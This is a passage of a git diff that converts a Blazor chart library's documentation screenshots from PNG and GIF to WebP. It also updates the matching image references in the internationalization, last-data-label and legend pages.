diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.webp
new file mode 100644
index 0000000000..47e7e09d39
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.png
deleted file mode 100644
index d00e19dc6a..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.webp
new file mode 100644
index 0000000000..364cc3d79b
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-momentum.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.png
deleted file mode 100644
index 8649311e54..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.webp
new file mode 100644
index 0000000000..92fa47c24d
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-rsi.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.png
deleted file mode 100644
index 00262688a2..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.webp
new file mode 100644
index 0000000000..456a137fee
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-stochastic.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.png
deleted file mode 100644
index 3edb1a40dd..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.webp
new file mode 100644
index 0000000000..7d2d2ec5a8
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-tma.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.png b/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.png
deleted file mode 100644
index 6ad7692a20..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.webp b/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.webp
new file mode 100644
index 0000000000..3367552522
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-chart-nearest-tooltip.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.png b/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.png
deleted file mode 100644
index 8d2a28127a..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.webp b/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.webp
new file mode 100644
index 0000000000..27e5027227
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-column-chart-custom-tooltip.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.png b/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.png
deleted file mode 100644
index 39221a09b8..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.webp b/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.webp
new file mode 100644
index 0000000000..d1ed0d8fef
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-column-chart-tooltip-format.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-tooltip.png b/blazor/chart/images/tooltip/blazor-column-chart-tooltip.png
deleted file mode 100644
index a89381ad75..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-column-chart-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-column-chart-tooltip.webp b/blazor/chart/images/tooltip/blazor-column-chart-tooltip.webp
new file mode 100644
index 0000000000..a21861d2c4
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-column-chart-tooltip.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-shared-tooltip-template.PNG b/blazor/chart/images/tooltip/blazor-shared-tooltip-template.PNG
deleted file mode 100644
index a5bf32511e..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-shared-tooltip-template.PNG and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-shared-tooltip-template.webp b/blazor/chart/images/tooltip/blazor-shared-tooltip-template.webp
new file mode 100644
index 0000000000..5a894f05b8
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-shared-tooltip-template.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.png b/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.png
deleted file mode 100644
index 8451cfd972..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.webp b/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.webp
new file mode 100644
index 0000000000..7a0975ca09
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-step-chart-tooltip-template.webp differ
diff --git a/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.png b/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.png
deleted file mode 100644
index 47e58f0bb7..0000000000
Binary files a/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.png and /dev/null differ
diff --git a/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.webp b/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.webp
new file mode 100644
index 0000000000..f2de87fa5a
Binary files /dev/null and b/blazor/chart/images/tooltip/blazor-tooltip-enable-highlight.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.png
deleted file mode 100644
index 28e49c0db7..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.webp
new file mode 100644
index 0000000000..274aa1d4de
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-backward-forecasting-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.png
deleted file mode 100644
index 26234f0c44..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.webp
new file mode 100644
index 0000000000..e689105f76
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-exponential-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.png
deleted file mode 100644
index 28e49c0db7..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.webp
new file mode 100644
index 0000000000..274aa1d4de
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-forward-forecasting-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.png
deleted file mode 100644
index a1f5dad80c..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.webp
new file mode 100644
index 0000000000..cda9ca128a
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-hide-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.png
deleted file mode 100644
index b2f03c81d5..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.webp
new file mode 100644
index 0000000000..8f1ae51851
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-linear-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.png
deleted file mode 100644
index 2efcdcc794..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.webp
new file mode 100644
index 0000000000..1dbd312da1
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-logarithmic-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.png
deleted file mode 100644
index aae04bdb01..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.webp
new file mode 100644
index 0000000000..9ffcec53a9
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-moving-average-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.png
deleted file mode 100644
index 3968c4da7e..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.webp
new file mode 100644
index 0000000000..e0b5938805
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-polynomial-trendlines.webp differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.png b/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.png
deleted file mode 100644
index fddbf4c70b..0000000000
Binary files a/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.png and /dev/null differ
diff --git a/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.webp b/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.webp
new file mode 100644
index 0000000000..05fc629ad4
Binary files /dev/null and b/blazor/chart/images/trend-lines/blazor-spline-chart-power-trendlines.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-data-binding.png b/blazor/chart/images/working-data/blazor-chart-data-binding.png
deleted file mode 100644
index df25e7f5c9..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-data-binding.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-data-binding.webp b/blazor/chart/images/working-data/blazor-chart-data-binding.webp
new file mode 100644
index 0000000000..c70d905797
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-data-binding.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-dynamic-object.png b/blazor/chart/images/working-data/blazor-chart-dynamic-object.png
deleted file mode 100644
index a2f871312f..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-dynamic-object.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-dynamic-object.webp b/blazor/chart/images/working-data/blazor-chart-dynamic-object.webp
new file mode 100644
index 0000000000..675bdd8823
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-dynamic-object.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-empty-point.png b/blazor/chart/images/working-data/blazor-chart-empty-point.png
deleted file mode 100644
index 820f609728..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-empty-point.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-empty-point.webp b/blazor/chart/images/working-data/blazor-chart-empty-point.webp
new file mode 100644
index 0000000000..db771596f4
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-empty-point.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-expando-object-binding.png b/blazor/chart/images/working-data/blazor-chart-expando-object-binding.png
deleted file mode 100644
index a57b2dac55..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-expando-object-binding.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-expando-object-binding.webp b/blazor/chart/images/working-data/blazor-chart-expando-object-binding.webp
new file mode 100644
index 0000000000..fe702e3e66
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-expando-object-binding.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-no-data-template.gif b/blazor/chart/images/working-data/blazor-chart-no-data-template.gif
deleted file mode 100644
index 84033157f5..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-no-data-template.gif and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-no-data-template.webp b/blazor/chart/images/working-data/blazor-chart-no-data-template.webp
new file mode 100644
index 0000000000..394bd5cf0b
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-no-data-template.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-remote-data-binding.png b/blazor/chart/images/working-data/blazor-chart-remote-data-binding.png
deleted file mode 100644
index 701a57e49b..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-remote-data-binding.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-remote-data-binding.webp b/blazor/chart/images/working-data/blazor-chart-remote-data-binding.webp
new file mode 100644
index 0000000000..e64d2989b2
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-remote-data-binding.webp differ
diff --git a/blazor/chart/images/working-data/blazor-chart-web-api-binding.png b/blazor/chart/images/working-data/blazor-chart-web-api-binding.png
deleted file mode 100644
index 2d60e67621..0000000000
Binary files a/blazor/chart/images/working-data/blazor-chart-web-api-binding.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/blazor-chart-web-api-binding.webp b/blazor/chart/images/working-data/blazor-chart-web-api-binding.webp
new file mode 100644
index 0000000000..66f3b1953c
Binary files /dev/null and b/blazor/chart/images/working-data/blazor-chart-web-api-binding.webp differ
diff --git a/blazor/chart/images/working-data/empty-points.png b/blazor/chart/images/working-data/empty-points.png
deleted file mode 100644
index d854094b5a..0000000000
Binary files a/blazor/chart/images/working-data/empty-points.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/empty-points.webp b/blazor/chart/images/working-data/empty-points.webp
new file mode 100644
index 0000000000..ee089461a6
Binary files /dev/null and b/blazor/chart/images/working-data/empty-points.webp differ
diff --git a/blazor/chart/images/working-data/no-data.png b/blazor/chart/images/working-data/no-data.png
deleted file mode 100644
index a57f61c539..0000000000
Binary files a/blazor/chart/images/working-data/no-data.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/no-data.webp b/blazor/chart/images/working-data/no-data.webp
new file mode 100644
index 0000000000..0e0886efdc
Binary files /dev/null and b/blazor/chart/images/working-data/no-data.webp differ
diff --git a/blazor/chart/images/working-data/observable-collection.png b/blazor/chart/images/working-data/observable-collection.png
deleted file mode 100644
index ab507dec5a..0000000000
Binary files a/blazor/chart/images/working-data/observable-collection.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/observable-collection.webp b/blazor/chart/images/working-data/observable-collection.webp
new file mode 100644
index 0000000000..ccf81ef9c5
Binary files /dev/null and b/blazor/chart/images/working-data/observable-collection.webp differ
diff --git a/blazor/chart/images/working-data/query-update.png b/blazor/chart/images/working-data/query-update.png
deleted file mode 100644
index e052fa9415..0000000000
Binary files a/blazor/chart/images/working-data/query-update.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/query-update.webp b/blazor/chart/images/working-data/query-update.webp
new file mode 100644
index 0000000000..34c35fefcf
Binary files /dev/null and b/blazor/chart/images/working-data/query-update.webp differ
diff --git a/blazor/chart/images/working-data/query.png b/blazor/chart/images/working-data/query.png
deleted file mode 100644
index 16c62600ba..0000000000
Binary files a/blazor/chart/images/working-data/query.png and /dev/null differ
diff --git a/blazor/chart/images/working-data/query.webp b/blazor/chart/images/working-data/query.webp
new file mode 100644
index 0000000000..1107c8cf2b
Binary files /dev/null and b/blazor/chart/images/working-data/query.webp differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.png b/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.png
deleted file mode 100644
index 701d952cd0..0000000000
Binary files a/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.webp b/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.webp
new file mode 100644
index 0000000000..5877c58cd0
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-area-chart-auto-interval-zooming.webp differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.png b/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.png
deleted file mode 100644
index 5bdbdcac01..0000000000
Binary files a/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.webp b/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.webp
new file mode 100644
index 0000000000..f463892134
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-area-chart-scroll-bar-customization.webp differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.png b/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.png
deleted file mode 100644
index e64f46e338..0000000000
Binary files a/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.webp b/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.webp
new file mode 100644
index 0000000000..cdc0103b55
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-area-chart-zoom-with-scrollbar.webp differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.png b/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.png
deleted file mode 100644
index 316ec5cf5a..0000000000
Binary files a/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.webp b/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.webp
new file mode 100644
index 0000000000..b2b7af27d4
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-column-chart-horizontal-zooming.webp differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.png b/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.png
deleted file mode 100644
index d34ead65a4..0000000000
Binary files a/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.webp b/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.webp
new file mode 100644
index 0000000000..4e529f5c59
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-column-chart-zoom-in-toolbar.webp differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.png b/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.png
deleted file mode 100644
index f09b712f1f..0000000000
Binary files a/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.webp b/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.webp
new file mode 100644
index 0000000000..c82e6a5abd
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-column-chart-zoom-pan.webp differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.png b/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.png
deleted file mode 100644
index 01b377fdbc..0000000000
Binary files a/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.webp b/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.webp
new file mode 100644
index 0000000000..be9accebb2
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-column-chart-zoom-toolbar-displaymode.webp differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zooming.png b/blazor/chart/images/zoom/blazor-column-chart-zooming.png
deleted file mode 100644
index b89d6c4fdc..0000000000
Binary files a/blazor/chart/images/zoom/blazor-column-chart-zooming.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-column-chart-zooming.webp b/blazor/chart/images/zoom/blazor-column-chart-zooming.webp
new file mode 100644
index 0000000000..5e0751f37f
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-column-chart-zooming.webp differ
diff --git a/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.png b/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.png
deleted file mode 100644
index 17ee191158..0000000000
Binary files a/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.webp b/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.webp
new file mode 100644
index 0000000000..1e8a47f641
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-line-chart-scroll-bar-position.webp differ
diff --git a/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.png b/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.png
deleted file mode 100644
index 3216c214f0..0000000000
Binary files a/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.png and /dev/null differ
diff --git a/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.webp b/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.webp
new file mode 100644
index 0000000000..3056aec131
Binary files /dev/null and b/blazor/chart/images/zoom/blazor-line-chart-zoom-toolbar-position.webp differ
diff --git a/blazor/chart/internationalization.md b/blazor/chart/internationalization.md
index ae02238c30..a1e350b34f 100644
--- a/blazor/chart/internationalization.md
+++ b/blazor/chart/internationalization.md
@@ -71,7 +71,7 @@ In the below example, axis, point and tooltip labels are globalized to EUR.
 
 ```
 
-![Globalization in Blazor Column Chart](images/blazor-column-chart-globalization.png)
+![Globalization in Blazor Column Chart](images/blazor-column-chart-globalization.webp)
 
 ## Label format
 
diff --git a/blazor/chart/last-data-label.md b/blazor/chart/last-data-label.md
index 80497507ba..b8e0b14da0 100644
--- a/blazor/chart/last-data-label.md
+++ b/blazor/chart/last-data-label.md
@@ -54,7 +54,7 @@ To enable the last data label, set the [ShowLabel](https://help.syncfusion.com/c
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrotEjvfKbMpjHI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Last Data Label in Blazor Column Chart](images/last-value/blazor-column-chart-last-value-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrotEjvfKbMpjHI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Last Data Label in Blazor Column Chart](images/last-value/blazor-column-chart-last-value-label.webp)" %}
 
 ## Customization
 
@@ -121,7 +121,7 @@ In the [ChartLastDataLabelFont](https://help.syncfusion.com/cr/blazor/Syncfusion
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVojaDbzJnZIqnR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Last Data Label in Blazor Column Chart Customization](images/last-value/blazor-column-chart-last-value-label-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVojaDbzJnZIqnR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Last Data Label in Blazor Column Chart Customization](images/last-value/blazor-column-chart-last-value-label-customization.webp)" %}
 
 ## See also
 
diff --git a/blazor/chart/legend.md b/blazor/chart/legend.md
index 36d9f14e45..241d2c64c9 100644
--- a/blazor/chart/legend.md
+++ b/blazor/chart/legend.md
@@ -60,7 +60,7 @@ To display the legend for the chart, set the [Visible](https://help.syncfusion.c
 
 ```
 
-![Blazor Column Chart with Legend](images/legend/blazor-column-chart-legend.png)
+![Blazor Column Chart with Legend](images/legend/blazor-column-chart-legend.webp)
 
 ## Position and alignment
 
@@ -113,7 +113,7 @@ The legend can be placed at [Left](https://help.syncfusion.com/cr/blazor/Syncfu
 
 ```
 
-![Changing Legend Position in Blazor Column Chart](images/legend/blazor-column-chart-legend-position.png)
+![Changing Legend Position in Blazor Column Chart](images/legend/blazor-column-chart-legend-position.webp)
 
 The [Custom](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.LegendPosition.html#Syncfusion_Blazor_Charts_LegendPosition_Custom) position helps to position the legend anywhere in the chart using x and y coordinates.
 
@@ -163,7 +163,7 @@ The [Custom](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Lege
 
 ```
 
-![Blazor Column Chart Legend in Custom Position](images/legend/blazor-column-chart-legend-in-custom-position.png)
+![Blazor Column Chart Legend in Custom Position](images/legend/blazor-column-chart-legend-in-custom-position.webp)
 
 <!-- markdownlint-disable MD036 -->
 
@@ -217,7 +217,7 @@ The order of the legend items can be reversed by using the [Reverse](https://hel
 
 ```
 
-![Changing Blazor Column Chart Legend Reverse](images/legend/blazor-column-chart-legend-reverse.png)
+![Changing Blazor Column Chart Legend Reverse](images/legend/blazor-column-chart-legend-reverse.webp)
 
 **Legend Alignment**
 
@@ -271,7 +271,7 @@ Using the [Alignment](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-![Changing Blazor Column Chart Legend Alignment Position](images/legend/blazor-column-chart-legend-alignment-position.png)
+![Changing Blazor Column Chart Legend Alignment Position](images/legend/blazor-column-chart-legend-alignment-position.webp)
 
 ## Legend customization
 
@@ -320,7 +320,7 @@ The [LegendShape](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Changing Legend Shape in Blazor Column Chart](images/legend/blazor-column-chart-legend-shape.png)
+![Changing Legend Shape in Blazor Column Chart](images/legend/blazor-column-chart-legend-shape.webp)
 
 ### Legend Size
 
@@ -372,7 +372,7 @@ When the legend is placed on the top or bottom of the chart, it takes up 20% - 2
 
 ```
 
-![Blazor Column Chart Legend with Custom Size](images/legend/blazor-column-chart-legend-custom-size.png)
+![Blazor Column Chart Legend with Custom Size](images/legend/blazor-column-chart-legend-custom-size.webp)
 
 ### Legend Shape Size
 
@@ -423,7 +423,7 @@ The [ShapeHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor Column Chart Legend Shape with Custom Size](images/legend/blazor-column-chart-custom-legend-shape-size.png)
+![Blazor Column Chart Legend Shape with Custom Size](images/legend/blazor-column-chart-custom-legend-shape-size.webp)
 
 ### Legend Item Padding
 
@@ -472,7 +472,7 @@ The [ItemPadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor Column Chart Legend Shape with Item Padding](images/legend/blazor-column-chart-legend-item-padding.png)
+![Blazor Column Chart Legend Shape with Item Padding](images/legend/blazor-column-chart-legend-item-padding.webp)
 
 ### Legend Paging
 
@@ -525,7 +525,7 @@ When the legend items exceed the available legend bounds, paging is enabled by d
 
 ```
 
-![Blazor Column Chart Legend with Paging](images/legend/blazor-column-chart-legend-paging.png)
+![Blazor Column Chart Legend with Paging](images/legend/blazor-column-chart-legend-paging.webp)
 
 ### Legend Text Wrap
 
@@ -576,7 +576,7 @@ When the legend text exceeds the container, the text can be wrapped by using [Te
 
 ```
 
-![Blazor Chart Legend with Wrap](images/legend/blazor-chart-legend-wrap.png)
+![Blazor Chart Legend with Wrap](images/legend/blazor-chart-legend-wrap.webp)
 
 ## Series selection based on legend
 
@@ -625,7 +625,7 @@ By default, when you click on the legend item, the appropriate series visibility
 
 ```
 
-![Blazor Column Chart Legend with Series Selection](images/legend/blazor-column-chart-legend-series-selection.png)
